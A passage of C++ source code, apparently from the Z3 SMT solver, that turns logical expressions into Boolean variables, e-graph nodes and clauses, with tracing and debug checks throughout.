expr * curr = p.first;
bool gate_ctx = p.second;
switch (get_color(tcolors, fcolors, curr, gate_ctx)) {
case White:
set_color(tcolors, fcolors, curr, gate_ctx, Grey);
ts_visit_children(curr, gate_ctx, tcolors, fcolors, todo);
break;
case Grey:
SASSERT(ts_visit_children(curr, gate_ctx, tcolors, fcolors, todo));
set_color(tcolors, fcolors, curr, gate_ctx, Black);
if (n != curr && !m_manager.is_not(curr))
sorted_exprs.push_back(expr_bool_pair(curr, gate_ctx));
break;
case Black:
todo.pop_back();
break;
default:
UNREACHABLE();
}
}
}
#define DEEP_EXPR_THRESHOLD 1024
/**
\brief Internalize an expression asserted into the logical context using the given proof as a justification.
\remark pr is 0 if proofs are disabled.
*/
void context::internalize_assertion(expr * n, proof * pr, unsigned generation) {
TRACE("internalize_assertion", tout << mk_pp(n, m_manager) << "\n";);
TRACE("internalize_assertion_ll", tout << mk_ll_pp(n, m_manager) << "\n";);
TRACE("generation", tout << "generation: " << m_generation << "\n";);
TRACE("incompleteness_bug", tout << "[internalize-assertion]: #" << n->get_id() << "\n";);
flet<unsigned> l(m_generation, generation);
m_stats.m_max_generation = std::max(m_generation, m_stats.m_max_generation);
if (get_depth(n) > DEEP_EXPR_THRESHOLD) {
// if the expression is deep, then execute topological sort to avoid
// stack overflow.
// a caveat is that theory internalizers do rely on recursive descent so
// internalization over these follows top-down
TRACE("deep_internalize", tout << "expression is deep: #" << n->get_id() << "\n" << mk_ll_pp(n, m_manager););
svector<expr_bool_pair> sorted_exprs;
top_sort_expr(n, sorted_exprs);
TRACE("deep_internalize", for (auto & kv : sorted_exprs) tout << "#" << kv.first->get_id() << " " << kv.second << "\n"; );
for (auto & kv : sorted_exprs) {
expr* e = kv.first;
if (!is_app(e) ||
to_app(e)->get_family_id() == null_family_id ||
to_app(e)->get_family_id() == m_manager.get_basic_family_id())
internalize(e, kv.second);
}
}
SASSERT(m_manager.is_bool(n));
if (is_gate(m_manager, n)) {
switch(to_app(n)->get_decl_kind()) {
case OP_AND:
UNREACHABLE();
case OP_OR: {
literal_buffer lits;
unsigned num = to_app(n)->get_num_args();
for (unsigned i = 0; i < num; i++) {
expr * arg = to_app(n)->get_arg(i);
internalize(arg, true);
lits.push_back(get_literal(arg));
}
mk_root_clause(lits.size(), lits.c_ptr(), pr);
add_or_rel_watches(to_app(n));
break;
}
case OP_IFF: {
expr * lhs = to_app(n)->get_arg(0);
expr * rhs = to_app(n)->get_arg(1);
internalize(lhs, true);
internalize(rhs, true);
literal l1 = get_literal(lhs);
literal l2 = get_literal(rhs);
mk_root_clause(l1, ~l2, pr);
mk_root_clause(~l1, l2, pr);
break;
}
case OP_ITE: {
expr * c = to_app(n)->get_arg(0);
expr * t = to_app(n)->get_arg(1);
expr * e = to_app(n)->get_arg(2);
internalize(c, true);
internalize(t, true);
internalize(e, true);
literal cl = get_literal(c);
literal tl = get_literal(t);
literal el = get_literal(e);
mk_root_clause(~cl, tl, pr);
mk_root_clause(cl, el, pr);
add_ite_rel_watches(to_app(n));
break;
}
default:
UNREACHABLE();
}
mark_as_relevant(n);
}
else if (m_manager.is_distinct(n)) {
assert_distinct(to_app(n), pr);
mark_as_relevant(n);
}
else {
assert_default(n, pr);
}
}
void context::assert_default(expr * n, proof * pr) {
internalize(n, true);
literal l = get_literal(n);
if (l == false_literal) {
set_conflict(mk_justification(justification_proof_wrapper(*this, pr)));
}
else {
assign(l, mk_justification(justification_proof_wrapper(*this, pr)));
mark_as_relevant(l);
}
}
#define DISTINCT_SZ_THRESHOLD 32
void context::assert_distinct(app * n, proof * pr) {
TRACE("assert_distinct", tout << mk_pp(n, m_manager) << "\n";);
unsigned num_args = n->get_num_args();
if (num_args == 0 || num_args <= DISTINCT_SZ_THRESHOLD || m_manager.proofs_enabled()) {
assert_default(n, pr);
return;
}
sort * s = m_manager.get_sort(n->get_arg(0));
sort_ref u(m_manager.mk_fresh_sort("distinct-elems"), m_manager);
func_decl_ref f(m_manager.mk_fresh_func_decl("distinct-aux-f", "", 1, &s, u), m_manager);
for (unsigned i = 0; i < num_args; i++) {
expr * arg = n->get_arg(i);
app_ref fapp(m_manager.mk_app(f, arg), m_manager);
app_ref val(m_manager.mk_fresh_const("unique-value", u), m_manager);
enode * e = mk_enode(val, false, false, true);
e->mark_as_interpreted();
app_ref eq(m_manager.mk_eq(fapp, val), m_manager);
TRACE("assert_distinct", tout << "eq: " << mk_pp(eq, m_manager) << "\n";);
assert_default(eq, 0);
mark_as_relevant(eq.get());
// TODO: we may want to hide the auxiliary values val and the function f from the model.
}
}
void context::internalize(expr * n, bool gate_ctx, unsigned generation) {
flet<unsigned> l(m_generation, generation);
m_stats.m_max_generation = std::max(m_generation, m_stats.m_max_generation);
internalize(n, gate_ctx);
}
/**
\brief Internalize the given expression into the logical context.
- gate_ctx is true if the expression is in the context of a logical gate.
*/
void context::internalize(expr * n, bool gate_ctx) {
TRACE("internalize", tout << "internalizing:\n" << mk_pp(n, m_manager) << "\n";);
TRACE("internalize_bug", tout << "internalizing:\n" << mk_bounded_pp(n, m_manager) << "\n";);
if (is_var(n)) {
throw default_exception("Formulas should not contain unbound variables");
}
if (m_manager.is_bool(n)) {
SASSERT(is_quantifier(n) || is_app(n));
internalize_formula(n, gate_ctx);
}
else {
SASSERT(is_app(n));
SASSERT(!gate_ctx);
internalize_term(to_app(n));
}
}
/**
\brief Internalize the given formula into the logical context.
*/
void context::internalize_formula(expr * n, bool gate_ctx) {
TRACE("internalize_bug", tout << "internalize formula: #" << n->get_id() << ", gate_ctx: " << gate_ctx << "\n" << mk_pp(n, m_manager) << "\n";);
SASSERT(m_manager.is_bool(n));
if (m_manager.is_true(n) || m_manager.is_false(n))
return;
if (m_manager.is_not(n) && gate_ctx) {
// a boolean variable does not need to be created if n a NOT gate is in
// the context of a gate.
internalize(to_app(n)->get_arg(0), true);
return;
}
if (b_internalized(n)) {
// n was already internalized as a boolean.
bool_var v = get_bool_var(n);
TRACE("internalize_bug", tout << "#" << n->get_id() << " already has bool_var v" << v << "\n";);
// n was already internalized as boolean, but an enode was
// not associated with it. So, an enode is necessary, if
// n is not in the context of a gate and is an application.
if (!gate_ctx && is_app(n)) {
if (e_internalized(n)) {
TRACE("internalize_bug", tout << "forcing enode #" << n->get_id() << " to merge with t/f\n";);
enode * e = get_enode(to_app(n));
set_merge_tf(e, v, false);
}
else {
TRACE("internalize_bug", tout << "creating enode for #" << n->get_id() << "\n";);
mk_enode(to_app(n),
true, /* supress arguments, we not not use CC for this kind of enode */
true, /* bool enode must be merged with true/false, since it is not in the context of a gate */
false /* CC is not enabled */ );
set_enode_flag(v, false);
if (get_assignment(v) != l_undef)
propagate_bool_var_enode(v);
}
SASSERT(has_enode(v));
}
return;
}
if (m_manager.is_eq(n))
internalize_eq(to_app(n), gate_ctx);
else if (m_manager.is_distinct(n))
internalize_distinct(to_app(n), gate_ctx);
else if (is_app(n) && internalize_theory_atom(to_app(n), gate_ctx))
return;
else if (is_quantifier(n))
internalize_quantifier(to_quantifier(n), gate_ctx);
else
internalize_formula_core(to_app(n), gate_ctx);
}
/**
\brief Internalize an equality.
*/
void context::internalize_eq(app * n, bool gate_ctx) {
TRACE("internalize", tout << mk_pp(n, m_manager) << "\n";);
SASSERT(!b_internalized(n));
SASSERT(m_manager.is_eq(n));
internalize_formula_core(n, gate_ctx);
bool_var v = get_bool_var(n);
bool_var_data & d = get_bdata(v);
d.set_eq_flag();
sort * s = m_manager.get_sort(n->get_arg(0));
theory * th = m_theories.get_plugin(s->get_family_id());
if (th)
th->internalize_eq_eh(n, v);
}
/**
\brief Internalize distinct constructor.
*/
void context::internalize_distinct(app * n, bool gate_ctx) {
TRACE("distinct", tout << "internalizing distinct: " << mk_pp(n, m_manager) << "\n";);
SASSERT(!b_internalized(n));
SASSERT(m_manager.is_distinct(n));
expr_ref def(m_manager.mk_distinct_expanded(n->get_num_args(), n->get_args()), m_manager);
internalize(def, true);
bool_var v = mk_bool_var(n);
literal l(v);
literal l_def = get_literal(def);
mk_gate_clause(~l, l_def);
mk_gate_clause(l, ~l_def);
add_relevancy_dependency(n, def);
if (!gate_ctx) {
mk_enode(n, true, true, false);
set_enode_flag(v, true);
SASSERT(get_assignment(v) == l_undef);
}
}
/**
\brief Try to internalize n as a theory atom. Return true if succeeded.
The application can be internalize as a theory atom, if there is a theory (plugin)
that can internalize n.
*/
bool context::internalize_theory_atom(app * n, bool gate_ctx) {
SASSERT(!b_internalized(n));
theory * th = m_theories.get_plugin(n->get_family_id());
TRACE("datatype_bug", tout << "internalizing theory atom:\n" << mk_pp(n, m_manager) << "\n";);
if (!th || !th->internalize_atom(n, gate_ctx))
return false;
TRACE("datatype_bug", tout << "internalization succeeded\n" << mk_pp(n, m_manager) << "\n";);
SASSERT(b_internalized(n));
TRACE("internalize_theory_atom", tout << "internalizing theory atom: #" << n->get_id() << "\n";);
bool_var v = get_bool_var(n);
if (!gate_ctx) {
// if the formula is not in the context of a gate, then it
// must be associated with an enode.
if (!e_internalized(n)) {
mk_enode(to_app(n),
true, /* supress arguments, we not not use CC for this kind of enode */
true /* bool enode must be merged with true/false, since it is not in the context of a gate */,
false /* CC is not enabled */);
}
else {
SASSERT(e_internalized(n));
enode * e = get_enode(n);
set_enode_flag(v, true);
set_merge_tf(e, v, true);
}
}
if (e_internalized(n)) {
set_enode_flag(v, true);
if (get_assignment(v) != l_undef)
propagate_bool_var_enode(v);
}
SASSERT(!e_internalized(n) || has_enode(v));
return true;
}
#ifdef Z3DEBUG
struct check_pattern_proc {
void operator()(var * v) {}
void operator()(quantifier * q) {}
void operator()(app * n) {
if (is_ground(n))
return;
SASSERT(n->get_decl()->is_flat_associative() || n->get_num_args() == n->get_decl()->get_arity());
}
};
/**
Debugging code: check whether for all (non-ground) applications (f a_1 ... a_n) in t, f->get_arity() == n
*/
static bool check_pattern(expr * t) {
check_pattern_proc p;
for_each_expr(p, t);
return true;
}
static bool check_patterns(quantifier * q) {
for (unsigned i = 0; i < q->get_num_patterns(); i++) {
SASSERT(check_pattern(q->get_pattern(i)));
}
for (unsigned i = 0; i < q->get_num_no_patterns(); i++) {
SASSERT(check_pattern(q->get_no_pattern(i)));
}
return true;
}
#endif
/**
\brief Internalize the given quantifier into the logical
context.
*/
void context::internalize_quantifier(quantifier * q, bool gate_ctx) {
TRACE("internalize_quantifier", tout << mk_pp(q, m_manager) << "\n";);
CTRACE("internalize_quantifier_zero", q->get_weight() == 0, tout << mk_pp(q, m_manager) << "\n";);
SASSERT(gate_ctx); // limitation of the current implementation
SASSERT(!b_internalized(q));
SASSERT(q->is_forall());
SASSERT(check_patterns(q));
bool_var v = mk_bool_var(q);
unsigned generation = m_generation;
unsigned _generation;
if (!m_cached_generation.empty() && m_cached_generation.find(q, _generation)) {
generation = _generation;
}
// TODO: do we really need this flag?
bool_var_data & d = get_bdata(v);
d.set_quantifier_flag();
m_qmanager->add(q, generation);
}
/**
\brief Internalize gates and (uninterpreted and equality) predicates.
*/
void context::internalize_formula_core(app * n, bool gate_ctx) {
SASSERT(!b_internalized(n));
SASSERT(!e_internalized(n));
CTRACE("resolve_conflict_crash", m_manager.is_not(n), tout << mk_ismt2_pp(n, m_manager) << "\ngate_ctx: " << gate_ctx << "\n";);
bool _is_gate = is_gate(m_manager, n) || m_manager.is_not(n);
// process args
unsigned num = n->get_num_args();
for (unsigned i = 0; i < num; i++) {
expr * arg = n->get_arg(i);
internalize(arg, _is_gate);
}
CTRACE("internalize_bug", b_internalized(n), tout << mk_ll_pp(n, m_manager) << "\n";);
bool is_new_var = false;
bool_var v;
// n can be already internalized after its children are internalized.
// Example (ite-term): (= (ite c 1 0) 1)
//
// When (ite c 1 0) is internalized, it will force the internalization of (= (ite c 1 0) 1) and (= (ite c 1 0) 0)
//
// TODO: avoid the problem by delaying the internalization of (= (ite c 1 0) 1) and (= (ite c 1 0) 0).
// Add them to a queue.
if (!b_internalized(n)) {
is_new_var = true;
v = mk_bool_var(n);
}
else {
v = get_bool_var(n);
}
// a formula needs to be associated with an enode when:
// 1) it is not in the context of a gate, or
// 2) it has arguments and it is not a gate (i.e., uninterpreted predicate or equality).
if (!e_internalized(n) && (!gate_ctx || (!_is_gate && n->get_num_args() > 0))) {
bool suppress_args = _is_gate || m_manager.is_not(n);
bool merge_tf = !gate_ctx;
mk_enode(n, suppress_args, merge_tf, true);
set_enode_flag(v, is_new_var);
SASSERT(has_enode(v));
}
// The constraints associated with node 'n' should be asserted
// after the bool_var and enode associated with are created.
// Reason: incompleteness. An assigned boolean variable is only inserted
// in m_atom_propagation_queue if the predicate is_atom() is true.
// When the constraints for n are created, they may force v to be assigned.
// Now, if v is assigned before being associated with an enode, then
// v is not going to be inserted in m_atom_propagation_queue, and
// propagate_bool_var_enode() method is not going to be invoked for v.
if (is_new_var && n->get_family_id() == m_manager.get_basic_family_id()) {
switch (n->get_decl_kind()) {
case OP_NOT:
SASSERT(!gate_ctx);
mk_not_cnstr(to_app(n));
break;
case OP_AND:
mk_and_cnstr(to_app(n));
add_and_rel_watches(to_app(n));
break;
case OP_OR:
mk_or_cnstr(to_app(n));
add_or_rel_watches(to_app(n));
break;
case OP_IFF:
mk_iff_cnstr(to_app(n));
break;
case OP_ITE:
mk_ite_cnstr(to_app(n));
add_ite_rel_watches(to_app(n));
break;
case OP_TRUE:
case OP_FALSE:
break;
case OP_DISTINCT:
case OP_IMPLIES:
case OP_XOR:
UNREACHABLE();
case OP_OEQ:
case OP_INTERP:
UNREACHABLE();
default:
break;
}
}
CTRACE("internalize_bug", e_internalized(n),
tout << "#" << n->get_id() << ", merge_tf: " << get_enode(n)->merge_tf() << "\n";);
}
/**
\brief Trail object to disable the m_merge_tf flag of an enode.
*/
class set_merge_tf_trail : public trail<context> {
enode * m_node;
public:
set_merge_tf_trail(enode * n):
m_node(n) {
}
virtual void undo(context & ctx) {
m_node->m_merge_tf = false;
}
};
/**
\brief Enable the flag m_merge_tf in the given enode. When the
flag m_merge_tf is enabled, the enode n will be merged with the
true_enode (false_enode) whenever the Boolean variable v is
assigned to true (false).
If is_new_var is true, then trail is not created for the flag update.
*/
void context::set_merge_tf(enode * n, bool_var v, bool is_new_var) {
SASSERT(bool_var2enode(v) == n);
if (!n->m_merge_tf) {
if (!is_new_var)
push_trail(set_merge_tf_trail(n));
n->m_merge_tf = true;
lbool val = get_assignment(v);
if (val != l_undef)
push_eq(n, val == l_true ? m_true_enode : m_false_enode, eq_justification(literal(v, val == l_false)));
}
}
/**
\brief Trail object to disable the m_enode flag of a Boolean
variable. The flag m_enode is true for a Boolean variable v,
if there is an enode n associated with it.
*/
class set_enode_flag_trail : public trail<context> {
bool_var m_var;
public:
set_enode_flag_trail(bool_var v):
m_var(v) {
}
virtual void undo(context & ctx) {
bool_var_data & data = ctx.m_bdata[m_var];
data.reset_enode_flag();
}
};
/**
\brief Enable the flag m_enode in the given boolean variable. That is,
the boolean variable is associated with an enode.
If is_new_var is true, then trail is not created for the flag uodate.
*/
void context::set_enode_flag(bool_var v, bool is_new_var) {
SASSERT(e_internalized(bool_var2expr(v)));
bool_var_data & data = m_bdata[v];
if (!data.is_enode()) {
if (!is_new_var)
push_trail(set_enode_flag_trail(v));
data.set_enode_flag();
}
}
/**
\brief Internalize the given term into the logical context.
*/
void context::internalize_term(app * n) {
if (e_internalized(n)) {
theory * th = m_theories.get_plugin(n->get_family_id());
if (th != 0) {
// This code is necessary because some theories may decide
// not to create theory variables for a nested application.
// Example:
// Suppose (+ (* 2 x) y) is internalized by arithmetic
// and an enode is created for the + and * applications,
// but a theory variable is only created for the + application.
// The (* 2 x) is internal to the arithmetic module.
// Later, the core tries to internalize (f (* 2 x)).
// Now, (* 2 x) is not internal to arithmetic anymore,
// and a theory variable must be created for it.
enode * e = get_enode(n);
if (!th->is_attached_to_var(e))
internalize_theory_term(n);
}
return;
}
if (m_manager.is_term_ite(n)) {
internalize_ite_term(n);
return; // it is not necessary to apply sort constraint
}
else if (internalize_theory_term(n)) {
// skip
}
else {
internalize_uninterpreted(n);
}
SASSERT(e_internalized(n));
enode * e = get_enode(n);
apply_sort_cnstr(n, e);
}
/**
\brief Internalize an if-then-else term.
*/
void context::internalize_ite_term(app * n) {
SASSERT(!e_internalized(n));
expr * c = n->get_arg(0);
expr * t = n->get_arg(1);
expr * e = n->get_arg(2);
app_ref eq1(mk_eq_atom(n, t), m_manager);
app_ref eq2(mk_eq_atom(n, e), m_manager);
mk_enode(n,
true /* supress arguments, I don't want to apply CC on ite terms */,
false /* it is a term, so it should not be merged with true/false */,
false /* CC is not enabled */);
internalize(c, true);
internalize(t, false);
internalize(e, false);
internalize(eq1, true);
internalize(eq2, true);
literal c_lit = get_literal(c);
literal eq1_lit = get_literal(eq1);
literal eq2_lit = get_literal(eq2);
TRACE("internalize_ite_term_bug",
tout << mk_ismt2_pp(n, m_manager) << "\n";
tout << mk_ismt2_pp(c, m_manager) << "\n";
tout << mk_ismt2_pp(t, m_manager) << "\n";
tout << mk_ismt2_pp(e, m_manager) << "\n";
tout << mk_ismt2_pp(eq1, m_manager) << "\n";
tout << mk_ismt2_pp(eq2, m_manager) << "\n";
tout << "literals:\n" << c_lit << " " << eq1_lit << " " << eq2_lit << "\n";);
mk_gate_clause(~c_lit, eq1_lit);
mk_gate_clause( c_lit, eq2_lit);
if (relevancy()) {
relevancy_eh * eh = m_relevancy_propagator->mk_term_ite_relevancy_eh(n, eq1, eq2);
TRACE("ite_term_relevancy", tout << "#" << n->get_id() << " #" << eq1->get_id() << " #" << eq2->get_id() << "\n";);
add_rel_watch(c_lit, eh);
add_rel_watch(~c_lit, eh);
add_relevancy_eh(n, eh);
}
SASSERT(e_internalized(n));
}
/**
\brief Try to internalize a theory term. That is, a theory (plugin)
will be invoked to internalize n. Return true if succeeded.
It may fail because there is no plugin or the plugin does not support it.
*/
bool context::internalize_theory_term(app * n) {
theory * th = m_theories.get_plugin(n->get_family_id());
if (!th || !th->internalize_term(n))
return false;
return true;
}
/**
\brief Internalize an uninterpreted function application or constant.
*/
void context::internalize_uninterpreted(app * n) {
SASSERT(!e_internalized(n));
// process args
unsigned num = n->get_num_args();
for (unsigned i = 0; i < num; i++) {
expr * arg = n->get_arg(i);
internalize(arg, false);
SASSERT(e_internalized(arg));
}
enode * e = mk_enode(n,
false, /* do not supress args */
false, /* it is a term, so it should not be merged with true/false */
true);
apply_sort_cnstr(n, e);
}
/**
\brief Create a new boolean variable and associate it with n.
*/
bool_var context::mk_bool_var(expr * n) {
SASSERT(!b_internalized(n));
//SASSERT(!m_manager.is_not(n));
unsigned id = n->get_id();
bool_var v = m_b_internalized_stack.size();
#ifndef _EXTERNAL_RELEASE
if (m_fparams.m_display_bool_var2expr) {
char const * header = "(iff z3@";
int id_sz = 6;
std::cerr.width(id_sz);
std::cerr << header << std::left << v << " " << mk_pp(n, m_manager, static_cast<unsigned>(strlen(header)) + id_sz + 1) << ")\n";
}
if (m_fparams.m_display_ll_bool_var2expr) {
std::cerr << v << " ::=\n" << mk_ll_pp(n, m_manager) << "<END-OF-FORMULA>\n";
}
#endif
TRACE("mk_bool_var", tout << "creating boolean variable: " << v << " for:\n" << mk_pp(n, m_manager) << "\n";);
TRACE("mk_var_bug", tout << "mk_bool: " << v << "\n";);
set_bool_var(id, v);
m_bdata.reserve(v+1);
m_activity.reserve(v+1);
m_bool_var2expr.reserve(v+1);
m_bool_var2expr[v] = n;
literal l(v, false);
literal not_l(v, true);
unsigned aux = std::max(l.index(), not_l.index()) + 1;
m_assignment.reserve(aux);
m_assignment[l.index()] = l_undef;
m_assignment[not_l.index()] = l_undef;
m_watches.reserve(aux);
SASSERT(m_assignment.size() == m_watches.size());
m_watches[l.index()] .reset();
m_watches[not_l.index()] .reset();
if (lit_occs_enabled()) {
m_lit_occs.reserve(aux);
m_lit_occs[l.index()] .reset();
m_lit_occs[not_l.index()] .reset();
}
bool_var_data & data = m_bdata[v];
unsigned iscope_lvl = m_scope_lvl; // record when the boolean variable was internalized.
data.init(iscope_lvl);
if (m_fparams.m_random_initial_activity == IA_RANDOM || (m_fparams.m_random_initial_activity == IA_RANDOM_WHEN_SEARCHING && m_searching))
m_activity[v] = -((m_random() % 1000) / 1000.0);
else
m_activity[v] = 0.0;
m_case_split_queue->mk_var_eh(v);
m_b_internalized_stack.push_back(n);
m_trail_stack.push_back(&m_mk_bool_var_trail);
m_stats.m_num_mk_bool_var++;
SASSERT(check_bool_var_vector_sizes());
return v;
}
void context::undo_mk_bool_var() {
SASSERT(!m_b_internalized_stack.empty());
m_stats.m_num_del_bool_var++;
expr * n = m_b_internalized_stack.back();
unsigned n_id = n->get_id();
bool_var v = get_bool_var_of_id(n_id);
TRACE("undo_mk_bool_var", tout << "undo_bool: " << v << "\n" << mk_pp(n, m_manager) << "\n" << "m_bdata.size: " << m_bdata.size()
<< " m_assignment.size: " << m_assignment.size() << "\n";);
TRACE("mk_var_bug", tout << "undo_mk_bool: " << v << "\n";);
// bool_var_data & d = m_bdata[v];
m_case_split_queue->del_var_eh(v);
if (is_quantifier(n))
m_qmanager->del(to_quantifier(n));
set_bool_var(n_id, null_bool_var);
m_b_internalized_stack.pop_back();
}
/**
\brief Create an new enode.
\remark If suppress_args is true, then the enode is viewed as a constant
in the egraph.
*/
enode * context::mk_enode(app * n, bool suppress_args, bool merge_tf, bool cgc_enabled) {
TRACE("mk_enode_detail", tout << mk_pp(n, m_manager) << "\nsuppress_args: " << suppress_args << ", merge_tf: " <<
merge_tf << ", cgc_enabled: " << cgc_enabled << "\n";);
SASSERT(!e_internalized(n));
unsigned id = n->get_id();
unsigned generation = m_generation;
unsigned _generation = 0;
if (!m_cached_generation.empty() && m_cached_generation.find(n, _generation)) {
generation = _generation;
CTRACE("cached_generation", generation != m_generation,
tout << "cached_generation: #" << n->get_id() << " " << generation << " " << m_generation << "\n";);
}
enode * e = enode::mk(m_manager, m_region, m_app2enode, n, generation, suppress_args, merge_tf, m_scope_lvl, cgc_enabled, true);
TRACE("mk_enode_detail", tout << "e.get_num_args() = " << e->get_num_args() << "\n";);
if (n->get_num_args() == 0 && m_manager.is_unique_value(n))
e->mark_as_interpreted();
TRACE("mk_var_bug", tout << "mk_enode: " << id << "\n";);
TRACE("generation", tout << "mk_enode: " << id << " " << generation << "\n";);
m_app2enode.setx(id, e, 0);
m_e_internalized_stack.push_back(n);
m_trail_stack.push_back(&m_mk_enode_trail);
m_enodes.push_back(e);
if (e->get_num_args() > 0) {
if (e->is_true_eq()) {
bool_var v = enode2bool_var(e);
assign(literal(v), mk_justification(eq_propagation_justification(e->get_arg(0), e->get_arg(1))));
e->m_cg = e;
}
else {
if (cgc_enabled) {
enode_bool_pair pair = m_cg_table.insert(e);
enode * e_prime = pair.first;
if (e != e_prime) {
e->m_cg = e_prime;
bool used_commutativity = pair.second;
push_new_congruence(e, e_prime, used_commutativity);
}
else {
e->m_cg = e;
}
}
else {
e->m_cg = e;
}
}
if (!e->is_eq()) {
unsigned decl_id = n->get_decl()->get_decl_id();
if (decl_id >= m_decl2enodes.size())
m_decl2enodes.resize(decl_id+1);
m_decl2enodes[decl_id].push_back(e);
}
}
SASSERT(e_internalized(n));
m_stats.m_num_mk_enode++;
TRACE("mk_enode", tout << "created enode: #" << e->get_owner_id() << " for:\n" << mk_pp(n, m_manager) << "\n";
if (e->get_num_args() > 0) {
tout << "is_true_eq: " << e->is_true_eq() << " in cg_table: " << m_cg_table.contains_ptr(e) << " is_cgr: "
<< e->is_cgr() << "\n";
});
if (m_manager.has_trace_stream())
m_manager.trace_stream() << "[attach-enode] #" << n->get_id() << " " << m_generation << "\n";
return e;
}
void context::undo_mk_enode() {
SASSERT(!m_e_internalized_stack.empty());
m_stats.m_num_del_enode++;
expr * n = m_e_internalized_stack.back();
TRACE("undo_mk_enode", tout << "undo_enode: #" << n->get_id() << "\n" << mk_pp(n, m_manager) << "\n";);
TRACE("mk_var_bug", tout << "undo_mk_enode: " << n->get_id() << "\n";);
unsigned n_id = n->get_id();
SASSERT(is_app(n));
enode * e = m_app2enode[n_id];
m_app2enode[n_id] = 0;
if (e->is_cgr() && !e->is_true_eq() && e->is_cgc_enabled()) {
SASSERT(m_cg_table.contains_ptr(e));
m_cg_table.erase(e);
}
if (e->get_num_args() > 0 && !e->is_eq()) {
unsigned decl_id = to_app(n)->get_decl()->get_decl_id();
SASSERT(decl_id < m_decl2enodes.size());
SASSERT(m_decl2enodes[decl_id].back() == e);
m_decl2enodes[decl_id].pop_back();
}
e->del_eh(m_manager);
SASSERT(m_e_internalized_stack.size() == m_enodes.size());
m_enodes.pop_back();
m_e_internalized_stack.pop_back();
}
/**
\brief Apply sort constraints on e.
*/
void context::apply_sort_cnstr(app * term, enode * e) {
sort * s = term->get_decl()->get_range();
theory * th = m_theories.get_plugin(s->get_family_id());
if (th)
th->apply_sort_cnstr(e, s);
}
/**
\brief Return the literal associated with n.
*/
literal context::get_literal(expr * n) const {
if (m_manager.is_not(n)) {
CTRACE("get_literal_bug", !b_internalized(to_app(n)->get_arg(0)), tout << mk_ll_pp(n, m_manager) << "\n";);
SASSERT(b_internalized(to_app(n)->get_arg(0)));
return literal(get_bool_var(to_app(n)->get_arg(0)), true);
}
else if (m_manager.is_true(n)) {
return true_literal;
}
else if (m_manager.is_false(n)) {
return false_literal;
}
else {
SASSERT(b_internalized(n));
return literal(get_bool_var(n), false);
}
}
/**
\brief Simplify the literals of an auxiliary clause. An
auxiliary clause is transient. So, the current assignment can
be used for simplification.
The following simplifications are applied:
- Duplicates are removed.
- Literals assigned to false are removed
- If l and ~l are in lits, then return false (the clause is equivalent to true)
- If a literal in source is assigned to true, then return false.
\remark The removed literals are stored in simp_lits
It is safe to use the current assignment to simplify aux
clauses because they are deleted during backtracking.
*/
bool context::simplify_aux_clause_literals(unsigned & num_lits, literal * lits, literal_buffer & simp_lits) {
std::sort(lits, lits + num_lits);
literal prev = null_literal;
unsigned j = 0;
for (unsigned i = 0; i < num_lits; i++) {
literal curr = lits[i];
lbool val = get_assignment(curr);
switch(val) {
case l_false:
TRACE("simplify_aux_clause_literals", display_literal(tout << get_assign_level(curr) << " " << get_scope_level() << " ", curr); tout << "\n"; );
simp_lits.push_back(~curr);
break; // ignore literal
// fall through
case l_undef:
if (curr == ~prev)
return false; // clause is equivalent to true
if (curr != prev) {
prev = curr;
if (i != j)
lits[j] = lits[i];
j++;
}
break;
case l_true:
return false; // clause is equivalent to true
}
}
num_lits = j;
return true;
}
/**
\brief Simplify the literals of an auxiliary lemma. An
auxiliary lemma has the status of a learned clause, but it is
not created by conflict resolution.
A dynamic ackermann clause is an example of auxiliary lemma.
The following simplifications are applied:
- Duplicates are removed.
- If a literal is assigned to true at a base level, then return
false (the clause is equivalent to true).
- If l and ~l are in lits, then return false (source is
irrelevant, that is, it is equivalent to true)
\remark Literals assigned to false at the base level are not
removed because I don't want to create a justification for this
kind of simplification.
*/
bool context::simplify_aux_lemma_literals(unsigned & num_lits, literal * lits) {
TRACE("simplify_aux_lemma_literals", tout << "1) "; display_literals(tout, num_lits, lits); tout << "\n";);
std::sort(lits, lits + num_lits);
TRACE("simplify_aux_lemma_literals", tout << "2) "; display_literals(tout, num_lits, lits); tout << "\n";);
literal prev = null_literal;
unsigned i = 0;
unsigned j = 0;
for (; i < num_lits; i++) {
literal curr = lits[i];
bool_var var = curr.var();
lbool val = l_undef;
if (get_assign_level(var) <= m_base_lvl)
val = get_assignment(curr);
if (val == l_true)
return false; // clause is equivalent to true
if (curr == ~prev)
return false; // clause is equivalent to true
if (curr != prev) {
prev = curr;
if (i != j)
lits[j] = lits[i];
j++;
}
}
num_lits = j;
TRACE("simplify_aux_lemma_literals", tout << "3) "; display_literals(tout, num_lits, lits); tout << "\n";);
return true;
}
/**
\brief A clause (lemma or aux lemma) may need to be reinitialized for two reasons:
1) Lemmas and aux lemmas may contain literals that were created during the search,
and the maximum internalization scope level of its literals is scope_lvl.
Since the clauses may remain alive when scope_lvl is backtracked, it must
be reinitialised. In this case, reinitialize_atoms must be true.
2) An aux lemma is in conflict or propagated a literal when it was created.
Then, we should check whether the aux lemma is still in conflict or propagating
a literal after backtracking the current scope level.
*/
void context::mark_for_reinit(clause * cls, unsigned scope_lvl, bool reinternalize_atoms) {
SASSERT(scope_lvl >= m_base_lvl);
cls->m_reinit = true;
cls->m_reinternalize_atoms = reinternalize_atoms;
if (scope_lvl >= m_clauses_to_reinit.size())
m_clauses_to_reinit.resize(scope_lvl+1, clause_vector());
m_clauses_to_reinit[scope_lvl].push_back(cls);
}
/**
\brief Return max({ get_intern_level(var) | var \in lits })
*/
unsigned context::get_max_iscope_lvl(unsigned num_lits, literal const * lits) const {
unsigned r = 0;
for (unsigned i = 0; i < num_lits; i++) {
unsigned ilvl = get_intern_level(lits[i].var());
if (ilvl > r)
r = ilvl;
}
return r;
}
/**
\brief Return true if it safe to use the binary clause optimization at this point in time.
*/
bool context::use_binary_clause_opt(literal l1, literal l2, bool lemma) const {
if (!binary_clause_opt_enabled())
return false;
// When relevancy is enable binary clauses should not be used.
// Reason: when a learned clause becomes unit, it should mark the
// unit literal as relevant. When binary_clause_opt is used,
// it is not possible to distinguish between learned and non-learned clauses.
if (lemma && m_fparams.m_relevancy_lvl >= 2)
return false;
if (m_base_lvl > 0)
return false;
if (!lemma && m_scope_lvl > 0)
return false;
if (get_intern_level(l1.var()) > 0)
return false;
if (get_intern_level(l2.var()) > 0)
return false;
return true;
}
/**
\brief The learned clauses (lemmas) produced by the SAT solver
have the property that the first literal will be implied by it
after backtracking. All other literals are assigned to (or
implied to be) false when the learned clause is created. The
first watch literal will always be the first literal. The
second watch literal is computed by this method. It should be
the literal with the highest decision level.
